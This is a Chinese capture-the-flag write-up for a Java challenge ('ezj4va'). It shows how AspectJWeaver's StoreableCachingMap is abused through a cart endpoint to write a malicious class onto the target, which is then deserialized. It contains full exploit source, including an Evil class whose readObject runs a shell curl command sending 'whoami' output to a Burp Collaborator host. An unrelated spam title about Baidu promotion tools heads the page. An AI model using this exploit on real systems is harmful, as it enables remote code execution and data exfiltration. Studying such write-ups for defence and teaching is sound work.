想在百度做網(wǎng)站自動推廣工具
目錄
前言
原理分析
step 0
step 1
EXP
前文:【W(wǎng)eb】淺聊Java反序列化之AspectJWeaver——任意文件寫入-CSDN博客
前言
這就是當(dāng)年傳說中的零解題嘛😭,快做🤮了
有了之前的經(jīng)驗(yàn),思路順挺快的,中間不知道為啥一直一直一直一直報(bào)錯(cuò),耗了一個(gè)下午總算打通
考的是AspectJWeaver寫惡意字節(jié)碼到靶機(jī)上(本題jsp靶機(jī)不解析),再去對其進(jìn)行反序列化
值得一提的是,本題并未在輸入流進(jìn)行黑名單過濾,事實(shí)上就是純粹的原生反序列化,但因該jdk下無利用鏈可打,所以只能先迂回寫入一個(gè)惡意類,再對這個(gè)惡意類進(jìn)行反序列化操作,實(shí)在是巧思!
原理分析
step 0
先看pom依賴
當(dāng)時(shí)是2021年,Y4👴還沒有公開fj原生反序列化的姿勢,所以可以排除(
自然關(guān)注的重點(diǎn)會落在AspectJWeaver上,其可以實(shí)現(xiàn)任意文件寫入(具體細(xì)節(jié)請看最開始給的文章,不作贅述)
問題是文章里給的姿勢是利用CC依賴下LazyMap#get觸發(fā)StoreableCachingMap#put從而寫文件的,題目沒有給CC依賴怎么破呢?
自然是要去利用題目自定義的類的哇,這里暫按下不表
此外,拿到源碼后我們知曉了靶機(jī)的目錄結(jié)構(gòu),方便我們后續(xù)利用
step 1
再來看路由
/cart/add
接受skus和cart兩個(gè)參數(shù),然后作為入?yún)⒄{(diào)用cartService.addToCart
addToCart方法就是對傳入數(shù)據(jù)分別進(jìn)行原生反序列化,將cart的SkuDescribe屬性作為Map,將toAdd的SkuDescibe屬性作為entry,并分別取其K V對put進(jìn)Map中
如果令Map為精心構(gòu)造folder屬性的StoreableCachingMap,K V分別為惡意文件名和惡意字節(jié)碼文件內(nèi)容的話,我們就可以在靶機(jī)寫入任意惡意字節(jié)碼文件,屬實(shí)太妙了(具體請看EXP構(gòu)造)
?
再看/cart/query路由
對由cookie傳入的cart值進(jìn)行cartService#query操作
這里其實(shí)就是直接進(jìn)行反序列化操作了,但題目的jdk下并沒有原生反序列化的鏈子,所以我們無法直接進(jìn)行利用,只能多走一步,去反序列化我們寫入的惡意類
思路并不復(fù)雜,話休絮煩,直接給EXP
EXP
EXP.java
package ciscn.fina1.ezj4va;import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import javassist.ClassPool;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class Exp {protected static String getSkus() {try {Cart cart = new Cart();Field sku_f = cart.getClass().getDeclaredField("skuDescribe");sku_f.setAccessible(true);HashMap hashMap = new HashMap<>();String bytes = Base64.getEncoder().encodeToString(ClassPool.getDefault().get(Evil.class.getName()).toBytecode());hashMap.put("Evil.class", Base64.getDecoder().decode(bytes));sku_f.set(cart, hashMap);return Serializer.serialize(cart);} catch (Exception e) {e.printStackTrace();}return "";}protected static String getOldCart() {try {Cart cart = new Cart();Field sku_f = cart.getClass().getDeclaredField("skuDescribe");sku_f.setAccessible(true);Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor constructor = clazz.getDeclaredConstructors()[0];constructor.setAccessible(true);Object o = constructor.newInstance("/ctf/ezj4va/app/target/classes/ciscn/fina1/ezj4va", 1);sku_f.set(cart, o);return Serializer.serialize(cart);} catch (Exception e) {e.printStackTrace();}return "";}public static void main(String[] args) throws Exception {String oldCartStr = getOldCart();String skus = getSkus();Evil evil = new Evil();System.out.println(oldCartStr);System.out.println(skus);System.out.println(Serializer.serialize(evil));}
}
Evil.java
package ciscn.fina1.ezj4va;import java.io.Serializable;public class Evil implements Serializable {private void readObject(java.io.ObjectInputStream s) throws Exception{Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://lpe59sb790s5tlrgmet6za2aj1psdh.burpcollaborator.net?a=`whoami`"});}
}
先訪問/cart/add寫入惡意字節(jié)碼文件?
再訪問/cart/query來反序列化利用寫入的惡意類?
用bp起一個(gè)dnslog來外帶數(shù)據(jù)